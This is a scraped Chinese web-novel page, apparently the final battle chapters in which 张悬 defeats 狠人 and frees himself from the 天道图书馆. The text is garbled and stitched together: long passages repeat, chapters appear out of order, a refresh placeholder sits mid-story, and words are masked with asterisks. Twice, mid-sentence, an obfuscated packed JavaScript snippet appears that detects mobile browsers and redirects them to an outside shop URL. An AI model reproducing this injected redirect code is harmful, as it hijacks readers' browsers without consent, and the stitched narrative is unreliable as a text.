潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546004|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第32章**灭口,强行压下此事 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546005|186727||http|test|mini|href|location''.split(''|''),0,{})); () { 